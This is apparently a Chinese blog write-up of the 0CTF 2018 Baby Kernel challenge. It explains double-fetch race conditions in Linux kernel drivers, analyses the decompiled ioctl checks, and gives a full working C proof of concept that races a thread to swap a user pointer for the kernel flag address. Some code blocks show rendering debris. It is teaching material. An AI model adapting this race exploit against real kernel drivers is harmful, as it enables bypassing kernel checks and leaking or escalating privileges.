Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch

一花一草一世界 清风浮动杨柳月
多少清晨多少夜 昙花一现又凋谢

简介

Double Fetch从漏洞原理上讲是属于条件竞争漏洞,是一种内核态与用户态之间的数据存在着访问竞争;而条件竞争漏洞我们都比较清楚,简单的来说就是多线程数据访问时,并且没有对数据做必要的安全同步措施;当多线程时,对于同一数据有一个线程在读而有另外一个线程在写,这就可能引起数据的访问异常,而此时如果这个异常访问情况发生在内核与用户线程之间时,就触发double fetch漏洞了….
为了简化漏洞,这里我们利用2018 0CTF Finals Baby Kernel来学习这个漏洞的利用方法,其中驱动的运行环境我都已经放在这个github里面了,有需要的可以下载学习….

一个典型的Double Fetch漏洞原理

一个用户态线程准备的数据通过系统调用进入内核,这个数据在内核中有两次被取用,内核第一次取用数据进行了安全检查(比如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理;而在两次取用数据的间隙,另一个用户态线程可以创造条件竞争,对那个已经将通过了检查的用户态数据进行篡改,使得数据在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升….
简单的原理示意图就是这个样子:
原理示意图

具体分析

现在我们直接来分析baby.ko这个驱动文件:

ida静态分析

这个驱动文件主要注册一个baby_ioctl的函数:
baby_ioctl
这个函数中主要分为2个部分,一个部分打印flag在内核中的地址:

1
2
3
4
5
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}

而另一部分则是直接打印出flag的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}

并且我们发现flag是被硬编码在驱动文件中的:
flag
(注意我们的目的为了不是直接得到这个flag的,而是通过Double Fetch漏洞从内核中获得她….)
但是如果想要驱动直接打印出flag的话,我们必须要绕过两处检查:
第一处是else if里面的条件:

1
2
3
4
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )

其中_chk_range_not_ok的内容是:
_chk_range_not_ok
其实就是判断a1+a2是否小于a3….
而通过分析这个v5应该是一个结构体,通过

*)v5```和```*(_DWORD *)(v5 + 8)
1
2
3
4
5
```cpp
struct v5{
char *flag;
size_t len;
};

而我们通过gdb调试发现

*)(current_task + 0x1358LL)```的值为0x7ffffffff000:
1
2
3
4
![gdb](/img/kernel-1-6.png)
所以我们推测和调试我们发现上面这个判断是判断v5以及v5->flag是否为用户态,如果不是用户态就直接返回:
![gdb2](/img/kernel-1-7.png)
所以综上所述,检查为:

  1. 输入的数据指针是否为用户态数据。
  2. 数据指针内flag是否指向用户态。
  3. 据指针内len是否等于硬编码flag的长度。
    1
    2
    3
    4
    5
    6
    7
    第一处是for循环里面的条件:
    ```cpp
    for ( i = 0; i < strlen(flag); ++i )
    {
    if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
    return 22LL;
    }

对用户输入的内容与硬编码的flag进行逐字节比较,如果一致了,就通过printk把flag打印出来了;

漏洞分析

这个驱动晃眼一看好像没有什么漏洞,但是其实上面两个检查是分开的:
test
这就表明我们可以在判断flag地址范围和flag内容之间进行竞争,通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较,通过检查得到flag….

思路

所以整体思路就是先利用驱动提供的cmd=0x6666功能,获取内核中flag的加载地址(这个地址可以通过dmesg命令查看);
然后,我们构造一个符合cmd=0x1337功能的数据结构,其中len可以从硬编码中直接数出来为33,user_flag地址指向一个用户空间地址;
最后,创建一个恶意线程,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容….

POC

poc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>

unsigned long long flag_addr;
int Time = 1000;
int finish = 1;

struct v5{
char *flag;
size_t len;
};

//change the user_flag_addr to the kernel_flag_addr
void change_flag_addr(void *a){
struct v5 *s = a;
while(finish == 1){
s->flag = flag_addr;
}
}

int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
pthread_t t1;
char buf[201]={0};
char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}"; //user_flag
char *addr;
int file_addr,fd,ret,id,i;
struct v5 t;
t.flag = m;
t.len = 33;
fd = open("/dev/baby",0);
ret = ioctl(fd,0x6666);
system("dmesg | grep flag > /tmp/sir.txt"); //get kernel_flag_addr
file_addr = open("/tmp/sir.txt",O_RDONLY);
id = read(file_addr,buf,200);
close(file_addr);
addr = strstr(buf,"Your flag is at ");
if(addr)
{
addr +=16;
flag_addr = strtoull(addr,addr+16,16);
printf("[*]The flag_addr is at: %p\n",flag_addr);
}
else
{
printf("[*]Didn't find the flag_addr!\n");
return 0;
}
pthread_create(&t1,NULL,change_flag_addr,&t); //Malicious thread
for(i=0;i<Time;i++){
ret = ioctl(fd,0x1337,&t);
t.flag = m; //In order to pass the first inspection
}
finish = 0;
pthread_join(t1,NULL);
close(fd);
printf("[*]The result:\n");
system("dmesg | grep flag");
return 0;
}

编译:

1
gcc poc.c -o poc -static -w -pthread

运行结果:
result

后记

关于驱动在内核态的调试方法应该是安装驱动,对相应函数下断,运行poc,然后才可以断下来调试,和我们在用户态直接调试程序其实就是多了一个运行poc,其他方法都差不多的….
最后注意配置QEMU启动参数时,不要开启SMAP保护,否则在内核中直接访问用户态数据会引起kernel panic….
还有,配置QEMU启动参数时,需要配置为非单核单线程启动,不然无法触发poc中的竞争条件,具体操作是在启动参数中增加其内核数选项,如:

1
-smp 2,cores=2,threads=1  \

不过,我上传的那个环境应该都是配置好了,应该是可以直接运行start.sh的….

文章目录
  1. 1. 简介
  2. 2. 一个典型的Double Fetch漏洞原理
  3. 3. 具体分析
    1. 3.1. ida静态分析
    2. 3.2. 漏洞分析
    3. 3.3. 思路
    4. 3.4. POC
    5. 3.5. 后记
,